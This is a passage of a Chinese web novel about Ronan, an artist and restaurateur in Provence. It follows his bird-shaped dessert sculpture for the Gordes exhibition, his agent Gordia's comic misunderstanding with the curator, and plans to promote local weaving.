“开玩笑?我记得你说的时候挺认真的。” 佐伊上个月说过许多‘豪言壮语’,罗南都记着呢。 怎么现在反悔了? 佐伊轻轻拍了一下罗南的手背,敷衍的说: “好好听。” 临近活动开始紧张了吗.罗南看着佐伊的侧脸想。 不过这也不难理解。 卢尔马兰艺术家在这次大地艺术系列活动中的‘参与度’并不高,不要忘记大家放出的豪言壮语是——让卢尔马兰艺术家在戈尔德掀起一股艺术风暴。 巴蒂的确掀起了一股风暴,但编织太小众了.风暴范围有限。 佐伊现在是名副其实的‘全村的希望’。 压力这么大,肯定会紧张。 人一紧张就没有那么自信了。 不过不要怕,我会帮你一起完成.罗南在心里默默对佐伊说。 罗南对雕塑作品的最后一点要求是——除了可以作为一个完美的作品展出外,最好还能再起到些其他的作用。 卢尔马兰艺术家里唯一还没有出场的就是佐伊,这个‘其他作用’一定要体现在帮助佐伊上。 只是要如何帮,罗南还没有想好,尤其还要兼顾这次的活动主题——自然和大地。 余光看到罗南一直盯着自己看,佐伊扭头对他挑了一下眉毛,似乎在问: 怎么了? 罗南笑着捏了一下佐伊的手,摇了摇头: “没事,只是在想你一定会成功的。” 过了一会,特奥把罗南叫到了农夫这边,说是有事要和他说。 莫力酒庄的餐酒涨价,导致罗南餐厅里的酒也涨价了。 以前农夫们坐一个下午可以喝两三杯,现在同样的钱只能喝到一杯。 今天罗南过来时,看到他们的杯子基本都空了。 “你们可以点粉红酒,粉红酒的价格没变。”罗南善意的提醒道,“在家里也可以买点粉红酒放着,有的喝总比没有喝强吧?” 酒是普罗旺斯人的刚需物品,肉蛋奶涨价他们可以不吃但酒必须要喝。 特奥属于对粉红酒接受程度比较高的那一类人,他偶尔会跟着罗南喝点: “粉红酒没涨价?” 罗南摇头道: “我的进货渠道没涨,至少这几个月你们还是能喝到便宜的粉红酒。” 杰罗姆卖完去年收来的那批葡萄酿出来的酒就要去马德里,根本不在意今年的葡萄收成怎样,明年又能卖多少。 他不降价甩卖罗南就谢天谢地了,至少他还有时间准备接手。 法比安不满的摇头: “不喝不喝,粉红酒是女人和小孩喝的。” 同桌的几个农夫也跟着应和。 “没有酒喝了,我也不会喝粉红酒。” “那就不是酒!喝粉红酒有什么意思?” 特奥嗤笑一声,对服务招手: “给我一杯粉红酒!” 罗南也对那个服务员招手: “我请特奥喝。” 之后他坏笑着问这一桌农夫: “你们喝吗?我也可以请你们。” 特奥非常擅长干这种‘气人’的事,他把胳膊搭到罗南的肩膀上,得意的对这些人说: “干聊好久了吧?不舍得买酒.但现在有人请了啊,怎么不答应呢?” 法比安等人又急又气。 想要酒,又不想被打脸。 纠结了好一会,最终发现——脸哪有酒值钱啊? “喝喝喝,你请什么我都喝!” 罗南没再逗他们,拿了两瓶粉红酒放到桌子上,若有所指的说: “别这么抗拒粉红酒,说不定这东西很快就要走进你们的生活了时代变化很快,谁能想到普罗旺斯的房价现在涨到那么高了呢?没有什么事情是不可能发生的,不肯向前看只会被时代淘汰。” 罗南说的话在卢尔马兰农夫中的分量还是很重的,见他说的这么认真,大家的态度也出现了一点松动。 “好,那我以后多试试,但也只是试试啊,不爱喝就是不爱喝。” “你在哪儿上的酒?我买点在家里备着,万一葡萄酒的价格始终下不来,我就用它解馋了。” “其实粉红酒没那么难喝,但就是心里.有点排斥。” 和大家交流了一会粉红酒的话题后,罗南问特奥: “找我什么事?” 特奥突然兴奋起来: “打猎季要结束了,我们去打猎吧?” 打猎季通常从9月开始,一直持续到3月份结束。 不过其中有一些动物会提前关闭捕猎窗口,所以时间越靠后,可打的东西越少。 气温较低的12月、1月和2月部分时间,普罗旺斯人不喜欢离开家,所以除了9、10、11这三个高峰月份,到了2月天气不错的日子,大家又会想起这项运动。 2月再不打,又要等好几个月了! 罗南想都没想,直接拒绝: “不去,你们自己去吧。” 你们那是打猎吗? 你们那是去野餐! 罗南只想跟卢卡斯去打猎,但今年估计是没有机会了。 卢卡斯每天早出晚归的赚钱,没精力再去打猎了。 “不是去你们家门口,是去更远的地方!”特奥手舞足蹈的说,“皮埃尔发现了一个好地方,那里有许多水鸟可以打。” 罗南没有好气的说: “在卢尔马兰就能打鸟啊,要去那么远吗?” 我看你们是在我家门口吃腻了,想换个环境继续吃吧? 特奥咂了一下嘴: “现在卢尔马兰附近哪还有什么能打的鸟啊,只有喜鹊。” 根据《狩猎执照考试:理论问题官方手册》中的记载,喜鹊也是可以捕杀的,罗南理所当然的回: “那你就打喜鹊呗。” 特奥一边撇嘴一边摇头,表情非常难看: “谁会吃那东西啊。” 晚上,罗南送佐伊回家,想起下午和特奥的对话,好笑的说: “普罗旺斯遍地美食家,他们似乎什么都吃,但确实没见过谁吃喜鹊。” 在普罗旺斯,打猎一定和吃挂钩。 家里的男人白天打回来什么,晚上这东西一定会上餐桌。 但似乎没见过谁打喜鹊,罗南也没在餐桌上吃过由它烹饪成的食物。 佐伊做出了比特奥更加夸张的难看表情: “喜鹊吃腐肉敢烹饪它的人一定是疯了。” “喜鹊吃腐肉吗?”罗南在动物领域的知识储备并不多。 巴黎有喜鹊,但谁会好奇喜鹊吃什么呢? 不过佐伊说完这句话,罗南对喜鹊增添了一层新的‘滤镜’。 怪不得特奥和佐伊会是这幅难看表情吃喜鹊确实太糟糕了。 佐伊化身为美丽的生物老师,给罗南恶补知识: “在吕贝隆,喜鹊是最傲慢的鸟,狩猎季开始,大部分鸟类都谨慎的离开了这里,不是南下去非洲过冬,就是逃离农村去了更加安全的阿维尼翁或艾克斯等城镇,只有喜鹊还依然生活在这里,而且是大摇大摆的生活。” 她把手放于嘴前,模仿起小鸟啄食的样子,并配合着讲述的一个个场景用肢体语言表演起来: “它们有的聚集在路上,争抢着啄食被卡车压扁的田鼠尸体;有的潜伏在垃圾桶边,等待塑料袋里漏出什么烂掉的菜叶子;还有的徘徊在农田附近,蹦蹦跳跳的找寻腐烂的小动物尸体。” 表演结束,佐伊很是不满的摇了摇头,点评道: “没人吃喜鹊,因此没有任何一杆猎枪会对准它,而喜鹊也知道这个道理每天就大摇大摆的在村庄周围出没,你说它是不是傲慢?” 罗南被佐伊刚刚的一系列举动可爱到了,笑着问: “你表演的太像了也许你可以去做演员。” 在佐伊用‘傲慢’形容一只鸟,并演绎它各种捕食场景后,罗南给喜鹊新添加上的滤镜又破碎了。 他又觉得喜鹊可爱了。 佐伊迈着欢快的步伐走在前面: “我不懂表演,只是观察过几十、几百次它们而已。” “你特意观察喜鹊?”罗南追上去问。 佐伊回头,露出了一个可以‘迷倒众生’的笑容: “不,我什么鸟都观察,那是我小时候最爱干的事情。” 罗南愣愣的盯着佐伊的笑脸,鼻尖似乎闻到普罗旺斯四月特有的春天气息了。 第317章 命运齿轮开始转动 见罗南不走了,直勾勾的盯着自己看,佐伊伸手在他眼前摇晃了两下: “你今天怎么一直愣神,又想什么呢?” 罗南一把抓住面前的手,看着佐伊的带着笑的眼睛说: “想怎么还不到春天。” 佐伊原本笑呵呵的脸一下子垮了下来: “先把冬天顺利度过去吧。” 见佐伊又在为即将开始的戈尔德艺术活动而焦虑,罗南赶紧把话题引到了她更感兴趣的地方: “你小时候经常观察鸟?” 佐伊的语气欢快了一点点: “是啊,鸟是村子里最常见的动物,一年四季会有不同的鸟出现在这里,我看它们是如何飞的、如何捕猎的、如何求偶的事实上我只有模仿鸟会模仿的像,因为看的最多。” 罗南用夸赞的语气说: “所以你做的作品都那么栩栩如生。” 佐伊的作品全部围绕动物展开,鸟是她非常喜欢做的一种动物,应该也是她做的最多的。 “虽然很不想用这样的语式——”佐伊得意的扬起下巴,“但我绝对是个鸟类专家。” 从提到喜鹊这个话题后,佐伊展示出来的种种行为都变得可爱和俏皮起来。 罗南相信只有真心喜欢动物,才能以它们为主题做出那么多优秀的作品。 喜欢小动物的人都是善良的罗南为遇到了一个如此善良的女孩而幸福和开心。 罗南思考的样子,让佐伊误以为他是不相信其‘鸟类专家’的身份。 她的语气突然严肃下来: “其实我早就想和你说了。” 罗南的思绪被拉了回来: “说什么?” 佐伊用食指点了两下罗南的胸膛: “至少有一只猫头鹰长期生活在你家200米范围内。” 罗南一下子瞪大眼睛: “你看到过?” 罗南住在那所房子里一年多了,从来没见过猫头鹰在附近出现过。 佐伊指了指自己的脑袋,用专家的口吻说: “不用看,是‘鸟类专家’的敏锐度告诉我的,我从来没在你家附近见过喜鹊,而阻拦这种傲慢的鸟类大摇大摆生活的唯一原因就是——它们不想进入猫头鹰的领地。” 佐伊‘哼’了一声,扭头继续向前走: “不信你夜里留意一下,听听有没有猫头鹰的叫声,现在正是它们求偶的季节。” 罗南没有失眠的习惯。 到了普罗旺斯,幸福度激增,睡觉质量变得更好。 不仅不失眠,夜里也很少醒来。 不过为了印证他家附近有没有另外一个住户,罗南当天晚上躺下后没有直接睡下,而是打开台灯看了一会书。 不过书他是一个单词都没有看下去,想的都是和佐伊相关的事。 想他们初次见面的场景、想两个人一起摆摊时发生过的事、想那个每天都要去夜游的夏天、想他们的阿普特之行想他们的点点滴滴。 如果这是在21世纪、有了移动电话,罗南必须得给佐伊发一条短信,说‘我想你了’。 随即他更加坚定的要帮助佐伊在即将开始的戈尔德艺术活动上取得成绩。 他对佐伊的实力有足够的信心,但多加一把火有什么不好的呢? 夜晚人的思维会更加活跃。 想了一会,罗南逐渐找到了一个可能性和方向。 佐伊那么喜欢鸟,那么会模仿鸟,而且这次她去参加活动的其中一个作品就是鸟要不然,这次他也雕一只鸟? 和佐伊妇唱夫随? 如果是这样,在作品介绍时可以写—— “呜呜呜——” 一连串‘呜呜呜’的颤音由远及近的出现,最后几声似乎就在玻璃以外几米的地方发出。 被打断了思路的罗南翻了个身,有些不满的抱怨: “这才几月,怎么这么多发情的东西呢。” 每次罗南进山的日子,罗天海都会早起给他做点热乎的东西吃。 罗南在山里一待就是一天,做父母的觉得儿子太辛苦。 今天不止罗天海起了,冯珍也跟着起了。 吃完早饭,罗天海在屋里刷碗,冯珍把儿子送出家门: “路上慢点开,到了山里注意安全啊。” 罗南没有去开车,而是抬头向两侧头顶的位置张望。 “看什么呢?”冯珍也走出来和他一起看。 罗南语气淡淡的说: “看邻居住哪儿。” 现在天还没完全亮,冯珍感觉一阵头皮发麻,用力在罗南的后背上锤了一下: “你有病啊,这附近几百米就咱们一家,哪有什么邻居,我告诉你,少跟皮埃尔学那些恶作剧,一点都不好玩!” 罗南指着一个窗户说: “可能有一只猫头鹰住在咱家附近,昨晚它应该就在那里,我听到它的叫声了。” 冯珍刚刚只是头皮发麻,现在是全身都麻了。 罗南指的就是他和罗天海卧室的窗户! 连再见都没来及说,她慌张的把门关上,生怕邻居来家里坐坐。 站在门外的罗南听到一连串尖叫声由近到远的移动起来: “罗天海!罗天海!咱家有猫头鹰,天呐,太吓人了,我最怕猫头鹰了!!” 罗南耸了下肩膀,转身去开车: “‘鸟类专家’惹祸了。” 罗南去山里采了两天松露,第三天早上去餐厅的二楼看实验结果。 在十几份实验品中,居然真的有两个成功了——没有起霉斑,质感也没有改变,只是不知道能保持多久。 不过罗南暂时也没有其他选择了. 那之后罗南立即投入到创作中。 调研和实验已经耽误了4天,留给他的时间不多了。 在山里采松露的两天,罗南已经策划好了这次作品的主题和方向——这将会是一个非常复杂的雕刻作品。 作品复杂意味着更加耗时,也意味着不能出错。 为了提高效率,罗南让亨利守在2楼楼梯口。 这几天除了佐伊他谁都不会见,但佐伊也去了戈尔德.所以罗南给亨利下的命令是: “不要放任何人上来,我爸妈也不行,我饿了会自己下来的。” 亨利给罗南敬了一个礼: “放心吧罗南先生,保证一只虫子都不会飞进去!” 罗南想清楚了所有,但唯独忘记了一件事——他忘记向歌迪亚汇报进度了。 从接到诺曼德先生的电话起,这位励志要成为普罗旺斯传奇艺术经纪人的家伙,每天都要来餐厅看看进度。 第一天调研——好的~ 第二天实验——虽然不理解,但是尊重。 第三天进山——为什么突然不创作了? 第四天进山——罗南!老娘跟你拼了!赶紧给我滚回来创作!! 第五天,好不容易罗南又开始创作了,但亨利死活拦着歌迪亚上楼。 亨利这个家伙不懂什么情况特殊,也不懂礼让妇女,他只知道罗南先生说了,不让任何人上去。 歌迪亚伸出了两个中指送给亨利,气呼呼的回到自己的艺术商店。 不是她想要逼罗南,但雕塑展的人每天都给她打电话问进度.她也要被逼死了。 这不,还没到中午,那边的电话又打来了。 “罗南的作品做好了吗?”对面是一个中年男性的声音,说话非常不客气,连招呼都不会打一个。 歌迪亚扶着额头说: “还没有,还在创作。” 对面的男人几乎咆哮出口: “为什么还没有?已经五天了!你们到底要不要合作?他到底能不能拿出雕塑作品,不会才开始学握刻刀吧?” 歌迪亚忍住一肚子的脏话,卑微的说: “先生,我们说好的一周时间,您当时也答应了.再给我们一些时间好吗?” 那个中年男人生气的挂断电话: “我要重新考虑是否给你们这个机会了!!” 戈尔德。 西蒙斯像泄了气的皮球一样,放下话筒: “马雷查尔,这招除了让对方认为我是一个没有礼貌的傻子外,起不到任何作用,他们没办法提前拿出作品,无论用多么高的压逼他们都没有用,我们还是等几天吧。” 西蒙斯对面的马雷查尔比几十公里外的歌迪亚脸色还差: “但宣传已经开始了,我需要把罗南的名字加进去我们已经决定即使他拿过来一块木头也让他通过,但他至少要给我木头啊,现在什么都没有,我无法把罗南作为雕塑展的噱头宣传出去。” 一周前,马雷查尔认为应该先看看罗南的作品,再决定是否与他合作。 但几天前,安迪·戈兹沃西团队抵达了普罗旺斯。 从布置会场起,他们就做足了噱头,让普罗旺斯艺术联盟不得不想点其他办法。 作为这次最最重要的中心雕塑展的策展人,马雷查尔决定把罗南加入到宣传计划中,吸引观众和游客的关注。 即使到今天‘希望’都有很高的讨论度,那些来的太晚以至于没有看到‘希望’的收藏家,甚至愿意高价收购‘希望’的照片。 如果谁有‘希望’7天不同状态的一套照片,价格还会翻倍。 整个戈尔德都在为罗南没有其他活动参与而惋惜,雕塑展这个时候把他们和罗南合作的消息放出去,会收获大量的关注度。 所以马雷查尔让西蒙斯去给歌迪亚施压,让他们快点把作品拿来,这样就可以对外把罗南的名字和雕塑展结合到一起了。 但.对方完全无动于衷。 马雷查尔无奈的敲了一下桌子: “明天继续给他打,早一天官宣出去,多一批关注度。” 由于电话里那个中年男人说的话实在太重,有可能要收回这次合作的机会歌迪亚第二天上午又去了一次罗南餐厅。 这已经不是罗南自己的事情了。 她歌迪亚的名声很可能也会受到影响! 这一次她直接和亨利缠斗了起来,拿出了一股‘不让我上去我就死给你看’的样子。 亨利根本不管歌迪亚的死活,拿出了一副‘你死我也不让你上去’的架势反击。 但他们的动静惊动了罗南,他歉意的把歌迪亚接上去了: “抱歉,这次的作品需要高度集中注意力,所以我让亨利帮忙看门.我发誓明天一定能做好,对了,他们最近又给你打电话了吗?” 歌迪亚有一肚子的委屈和怒火想要对罗南发泄出去。 你知道那个人把我逼成什么样了吗? 你知道他有多无礼吗? 你知道我有卑躬屈膝吗? 你知道—— 但在看清桌子上的东西后,歌迪亚心里一点委屈和气都没了。 她表情严肃的围着罗南的半成品作品转了两圈,放下一句话就离开了: “我明天不过来打扰你了,你做好叫人去喊我,好好创作.别的事情交给我。” 歌迪亚从楼上下来,亨利以为这个女人肯定要‘奚落’他两句,没想到她说的却是: “好好看门,即使是佐伊来了也别放上去,别让罗南分心。” 亨利:“???” 回到艺术品商店。 歌迪亚立即坐到了电话旁边,一边涂黑色的指甲油一边等待这个东西发出声音。 同时脸上还浮现出了白雪公主的后妈问魔镜谁是世界上最美丽的女士时的恶毒笑容。 上午11点,电话如约而来。 歌迪亚瞬间接了起来,不等那个没有礼貌的男人先发难,气势汹汹的说: “好啊,不合作就不合作吧,我们不在乎,我这样告诉你,等明天罗南把作品拿到戈尔德,所有展览都会给我们开后门,你天天那么大声吓唬谁呢,我忍你好久了!” 当歌迪亚看到罗南的作品的那一刻,她就知道自己的命运齿轮开始转动了。 罗南一定会像导弹一样,把普罗旺斯艺术界砸出一个窟窿! 第318章 骂他是给他的奖励! 歌迪亚已经做好了对方摔电话的准备,没想到那个中年男人不仅像聋了一样忽视了她的威胁还主动询问两天后是否需要派车去接她,同时语气也变得礼貌和谦逊。 一整个通话过程中,对方没有说过一句催促的话语,转为沟通交接作品的细节和注意事项。 歌迪亚一边专业的和对方沟通细节问题,一边在心中嘀咕: 每天给她打电话的这个人难道是个受虐狂? 好好说话不行,骂几句就爽了? 怀揣着这种八卦心情,两天后歌迪亚去戈尔德送作品时,特地问了一嘴每天是谁在给她打电话。 接待她的西蒙斯脸色顿时难看了起来。 他并不是艺术圈的人,是商界的代表,这次被普罗旺斯艺术委员会安排来辅佐马雷查尔办好中心雕塑展,主要负责场馆的搭建和一些后勤工作。 但因为人手实在不够用,他成了‘工兵’,哪里缺人就去哪里帮忙。 不过西蒙斯并不想把催促罗南尽快上交作品放入到自己的工作履历中。 他明明是个温文尔雅的绅士,是马雷查尔逼他做恶人,这个锅他绝对不会背! 西蒙斯故意压低了声音,以区隔开电话里的嗓音: “是马雷查尔先生,中心雕塑展的策展人,他非常重视罗南的这个作品。” 艺术界的事儿,交给你们艺术界的人自己解决吧。 歌迪亚递作品的手一顿。 马雷查尔? 普罗旺斯高等艺术学院雕塑系的特聘教授? 每次开公开课都一座难求的马雷查尔? 上帝,真是个道貌岸然的危险家伙! 收作品这个动作只是‘走个过场’,为了快些把这件事敲定下来,西蒙斯直接带着歌迪亚去了中心雕塑展在戈尔德的临时办公室,要当场给她结果。 去办公室自然会遇到马雷查尔。 马雷查尔带着几个专家来办公室看罗南的作品,总觉得后脊背一阵阵发凉。 他问西蒙斯: “坐在沙发上的爆炸头女人是谁?” 那个女人看他的眼神不太正常。 西蒙斯面色无常的说: “罗南的经纪人。” 马雷查尔微不可见的点了一下头,猜测对方可能是太过紧张结果,以至于看他的眼神都变得‘焦急’起来。 他回过头去,对歌迪亚友好的笑了一下,想要向她传达: 不要担心,结果一定会让你满意。 但这个友好的微笑被歌迪亚解读成了其他意思。 老娘坐的好好的,你对我笑个毛啊? 她晦气的别过头去,同时在心中抱怨: 该死的,果然是个老变态。 罗南,我还是为你牺牲太多了! 歌迪亚的‘冷漠’,让马雷查尔莫名紧张起来。 不会是作品有什么问题吧? 他催促西蒙斯: “快点打开作品给我们看看吧。” “我在努力,但这个作品包裹的太严实了,有三层缓冲结构。”西蒙斯解释道。 同行来的各位专家已经事先接到了马雷查尔的‘提醒’,他们今天要为了流量而暂时放弃专业性。 无论看到什么东西都要点头说好,并一致通过作品选拔。 既然如此,要保护成这个样子吗? 三层缓冲结构? 像是要送去巴黎一样. 见西蒙斯的动作幅度变大了,歌迪亚紧张的提醒: “轻一点,轻一点,千万不要碰到它!” 久经沙场的马雷查尔也笑着摇了摇头,同样认为罗南的经纪人太小题大做了。 易碎艺术品运输途中做好防倾斜+多点支撑即可,根本用不着外面加那么多层缓冲结构。 他再次对歌迪亚投去一个微笑。 看来罗南的这个经纪人是个新人,不知道从哪里学来了一些保护措施,不管‘三七二十一’就用上了。 歌迪亚恨不得把眼珠子卸下来。 这是遇到职场x骚扰了吗? 他总对我笑什么?? 这个时候,西蒙斯终于打开了最后一层缓冲罩,露出了一个透明的小盒子,里面放着一只造型极度精美的小鸟。 不等马雷查尔说什么,四周的专家们把脸贴上去了。 “这个刀工——”一个专家从口袋里拿出眼镜,似乎要认真欣赏了。 “你们看喙尖的弧度,多一刀显钝,少一分显虚.这太传神了。”另一个专家隔着玻璃小心的抚摸那只小鸟的鸟喙。 “羽毛下还有暗纹,像是用刮刀侧锋做出来的。”一位专家手指无意识的模仿起雕刻动作。” “这好像不是侧锋雕的,有点像是剪刀剪的”另外一位专家也注意到了这个地方。 突然,马雷查尔站到了作品前,打断了他们的点评: “女士先生们,我想结果已经出来了吧?” 专家团互相看了看,没有一个人提出异议: “很棒的作品,我们没有意见。” 即使没有马雷查尔事先的‘提醒’,他们也会让这个作品进入中心雕塑展的展厅。 马雷查尔立即对身边的西蒙斯说: “把它包好放到保险柜里。” “再让我们看看啊!”专家集体抗议。 马雷查尔对他们露出歉意的笑容。 抱歉,你们的使命已经完成了! 现在时间紧急啊,我的各位普罗旺斯艺术家朋友们! 西蒙斯询问马雷查尔: “还是三层缓冲层吗?” 马雷查尔摇头。 西蒙斯点了点头: “好,我也觉得做一层就够了。” 歌迪亚听到这里坐不住了,小跑过来想要提醒他们。 一层不行啊! 你知道这里面是什么吗? 马雷查尔继续对西蒙斯说: “我的意思是,三层不够。” 歌迪亚一个急刹车停在人群外围,拍了拍胸口。 还好还好。 老变态没糊涂。 “四层?”西蒙斯继续问马雷查尔。 马雷查尔郑重的说: “先用热缩膜包裹,之后嵌入惰性气体填充袋。” 西蒙斯面色一怔。 这么高规格? 但马雷查尔的话还没说完: “再放入控温包,温度设定成——” 歌迪亚提醒道: “不用控温,罗南做了防腐处理。” 马雷查尔赞赏的看向歌迪亚。 之前是他想错了,原来罗南的经纪人是专业的。 而经纪人的素质和能力同时代表了其手下艺术家的水平。 随即马雷查尔对罗南的看法也改观了——这绝对是一个人气、实力和专业性兼备的新艺术家,未来无可限量! 遇到这样的艺术家,当然要早早的去结识,未来肯定还有其他合作机会。 马雷查尔主动走到歌迪亚面前,微笑着问: “我未来半个月都在戈尔德,如果有时间,我们约个时间好好聊一聊?” 歌迪亚的拳头硬了! 想直接飙脏话骂回去,又怕让对方更加兴奋。 当众羞辱不是给他的奖励吗! “到时候再说吧。”她‘咬牙切齿’的回。 在马雷查尔和歌迪亚对话的同时,专家们小声议论起来。 之前他们觉得歌迪亚大惊小怪。 现在他们觉得马雷查尔也被传染了。 这个作品确实精美,刀工也上乘,但用的着防护成这个样子吗? 惰性气体都使用上了? 而且马雷查尔为什么说要控温? 其中一个专家拿起与作品一同送来的作品介绍,只看了第一行,他便惊呼出口: “这是个甜品!” “甜品?我以为那是粘土做的!” “主材料居然是一种豆泥,作者说这个做了防腐处理,但如果去他的餐厅可以吃到同款甜品。” 一位戴眼镜的专家眉头紧紧的锁在一起,问周围的人: “普罗旺斯有艺术家用甜品做过艺术品吗?” 大家纷纷摇头: “没有,从来没有。” 戴眼镜的专家继续问大家: “你们还记得安迪·戈兹沃西现在打出来的宣传语是什么吧?” 安迪·戈兹沃团队一落地普罗旺斯就开始了宣传,马上有人脱口而出: “这次他要用花朵、树叶、泥土、松果、石头和树枝现场作画,利用天然材料给作品注入稀缺性和偶然性。” 另一个继续补充: “他们一直围绕现场创作大做文章,就是看准了我们拿不出和他同类型的作品,突出自已的唯一性。” 在这次擂台战中,普罗旺斯一方暂时处于下风,因此马雷查尔才急于利用罗南的人气做一些文章,不要让全部的注意力都集中在英国佬的团队上。 “我明白了!”一个胖乎乎的专家拍了一下手,“我明白马雷查尔为什么要这么重视这个作品了,甜品也有唯一性啊,安迪·戈兹沃西不是唯一的‘唯一’了,我们也有‘唯一’这个噱头了!” 想明白了马雷查尔反常举动的原因,专家们想夸他‘眼光真准’,但一回头人已经没了。 “马雷查尔呢?”他们问西蒙斯。 西蒙斯笑着叹气: “去见媒体朋友了,我们的宣传策略要改变了。” “变成什么?”大家好奇的问。 西蒙斯平摊双手: “说实话我也不清楚,但看到明天的《普罗旺斯日报》就知道了,马雷查尔早在一周前就约好了明天的头条。” 第319章 谁说罗南没有资质? 歌迪亚带着作品通过评选的消息返回卢尔马兰。 怎料只是几个小时不见,罗南就已经投入到了下一个工作当中去,一刻没休息。 听到歌迪亚的转述,他只是没什么情绪的说了句‘知道了’,之后继续教莉亚做‘希望’。 要知道,罗南刚刚经历了3天高强度的雕刻工作。 精力怎么能那么充沛啊? 歌迪亚苦口婆心的劝说道: “你现在今非昔比了.一定要注意休息,别逞强。” 我的摇钱树可千万不能倒下啊! 罗南笑着说: “如果是被逼着做东西,那确实会感觉到累,但我这几天的心情是开心和幸福的,无比期盼快点把它做出来,你知道吗心中的喜悦可以冲淡身体的疲惫,我现在一点都不累。” 歌迪亚双手抱胸,不理解的问: “你在开心和幸福什么?” 罗南笑呵呵的摇头: “不告诉你。” 这种大型展览都有艺术家介绍作品的环节,罗南的小心思要到那个时候才能抛出来。 怕歌迪亚追问,他主动把话题岔开: “而且明天有明天要做的事,今天又有三个人点‘希望’,等我的新作品展出,可能点单的人会更多,今天必须得教会莉亚,不能再拖了。” 正在根据罗南的指导做甜品的莉亚突然抬头问: “我们卖的甜品里要放编织花吗?” 罗南想了一下,摇头道: “先别放了,编织花用其他可食用食材做替代。” 歌迪亚提议道: “其实放进去也没事,听说最近编织订单少了许多?妇女们肯定有时间接点‘小活儿’,聊胜于无嘛。” 罗南撇了下嘴: “那是以前,说不定订单马上就要多起来了,给我编一朵小花又费时,还赚不了多少钱还是做工艺品更合适。” 编织花比编花环费时多了,尤其是可以放到甜品里的花,越小的东西越难做。 罗南估计卢尔马兰能接这个活儿的人不超过10个人,但手这么巧的人应该赚更多的钱才对。 歌迪亚用开玩笑的口吻说: “你对雕刻作品有信心我理解,那确实很优秀,但你怎么对编织订单也有那么大的信心?巴蒂在戈尔德那么卖力的吆喝,也只能吸引来几个想要学编织的人,听说他展出的那个艺术品都没有人感兴趣我劝你别太乐观啊。” 艺术家在展览中的作品都是同时出售的。 在‘希望’的引流下,去看巴蒂作品的人挺多,但想要收藏的买家一个没有。 说明普罗旺斯人还是没有认同它的价值。 罗南一副你不懂的表情: “作为艺术品出售可能是不太好卖,但作为装饰品应该没有问题,我们曾经卖出去过那么多东西,明天我会去戈尔德亲自看看情况。” 歌迪亚面色一喜: “你明天去要去戈尔德?” 她以为刚刚罗南说的‘明天有明天的事’是进山,没想到他要去戈尔德了。 罗南点头: “明天我要去戈尔德帮巴蒂一起宣传编织工艺。” 歌迪亚正色道: “明天我和你们一起去,人多力量大。” 巴蒂曾经问过歌迪亚,借着这次机会在戈尔德宣传编织,是否能帮助这个工艺在普罗旺斯普及起来。 那天歌迪亚没有直接回答。 现在也不用回答了答案已摆在面前。 ‘希望’的引流和巴蒂的努力,只是掀起了一点小小的风暴,距离大家的期待还有很大的差距。 不过巴蒂的热爱和积极让歌迪亚愿意投身到这项手艺的宣传中去。 罗南先是感激的看了她一眼,之后拒绝道: “明天的人手够,你不用去了。” 歌迪亚想到什么,问道: “你找其他艺术家跟你们一起去了?” 除了巴蒂、佐伊和面前的罗南,其他卢尔马兰的艺术家都闲下来了。 怎料罗南继续摇头: “不是,明天卡福和他的几十个兄弟们也去戈尔德。” 歌迪亚是天生的操心性格,所以才有潜力做好艺术经纪人。 艺术经纪人对待自己的艺术家就是又当妈又当爸的,她不放心的对罗南说: “你是想让卡福他们在戈尔德发传单?但现在戈尔德处处都是艺术家和收藏家,想要卖这些人东西和卖普通客人不一样,发传单并不是个好的方式,我和你们一起去吧,我对这帮人熟悉,肯定能帮到你们。” 哪个艺术家和收藏家会通过传单买东西啊! 歌迪亚生怕卡福那帮大块头惹出什么麻烦。 罗南笑着叹了一口气。 歌迪亚下午拿着他的作品去了戈尔德,先不说山路有多难走,她回来又马不停蹄的来餐厅,她才是一刻没休息的那个。 他安慰歌迪亚: “你放心吧,我都安排好了,不是发传单,你快回去休息。” 歌迪亚还想说什么,罗南抢先一步说道: “这一个多月,你为卢尔马兰的艺术家们忙前忙后,天天戈尔德和卢尔马兰两边跑,自己的店铺都快顾不上了,你已经为我们做的足够多了,我都不知道要如何感谢你。” 歌迪亚笑着哼了一声: “别把我说的那么高尚,我做这些也是投资,万一你们其中哪个起来了,我也能跟着发达起来。” 罗南笑着把她推出了餐厅: “是是是,你现在是我们所有人的经纪人,更要保重身体,去谋划更加重要的事,我们卖饰品的事你就别操心了。” “千万别发传单,那会让他们反感的!玩艺术的人觉得传单上的东西都是‘没有价值’的玩意!”歌迪亚都快走到店门口了,还在对罗南喊。 罗南笑着对她招手再见: “知道了,晚上把托马斯叫来,我请你们吃饭!” 歌迪亚回到自己的艺术商店里,一边收拾凌乱的杂物,一边在心中感慨: “怪不得那么多人都心甘情愿的为罗南忙前跑后,他懂得如何站在对方的角度考虑事情,跟他共事总是非常舒服。” 她回头,透过玻璃窗看餐厅的方向。 “能和你这样能力和品行同样优秀的艺术家合作是我的荣幸和幸福谢我干什么,明明应该是我感谢你啊。” 随即,歌迪亚像是被打了鸡血一样,卖力的收拾起了屋子。 她一定会努力帮助罗南和这帮卢尔马兰艺术家站上普罗旺斯艺术的巅峰! 他们值得!! 让歌迪亚不操心是不可能的。 永远都不可能的。 晚上和托马斯一起去罗南餐厅吃饭的路上,歌迪亚把罗南明天要去戈尔德宣传编织物的事描述给了托马斯听。 她忧心忡忡的念叨: “罗南说他们不是发传单,但不发传单他们去那么多人能干什么呢?我完全想不出来其他方式啊。” 托马斯推了一下眼镜,用揣度的语气说: “我似乎猜到他要干什么了。” 歌迪疑惑的扭头: “你知道?” 托马斯语速缓慢的说: “几天前我和帕斯卡通话,他说罗南给了他一笔钱,把橄榄油工坊门前的那一片地租下来了,你说有没有可能罗南要在那里摆一个临时摊位啊?” 歌迪亚想了一下: “不太可能,帕斯卡的橄榄油工坊的确属于私有财产,门口摆摊不违法,但那只限橄榄产品,罗南如果想在门口卖别的东西,需要去工商备案,那需要商业执照,他难道要用餐厅的执照去申请卖编织物?不可能,不可能!” “原来你也会有记不住的东西啊。”托马斯露出了一个‘狡黠’的笑容,“你忘记罗南让巴蒂注册了一个合作社吗?申请合作社的时候会下发营业执照,罗南有手工艺品相关的资质。” 歌迪亚眼睛瞬间瞪大。 卢尔马兰手工艺合作社 而且这个合作社的主席是就是罗南本人。 想到某种可能性,歌迪亚兴奋的小跑起来: “罗南真的太厉害了,所有资源都让他利用起来了!这个编织生意说不定真的能做成!!” 第320章 专业的销售团队 罗南不想再让歌迪亚费心了。 但这个操心的家伙一整晚都拉着他和巴蒂聊明天去戈尔德宣传编织物品的细节,并告知了他们许多注意事项。 虽然人没去,但她的意志和经验都将和罗南巴蒂一起同行。 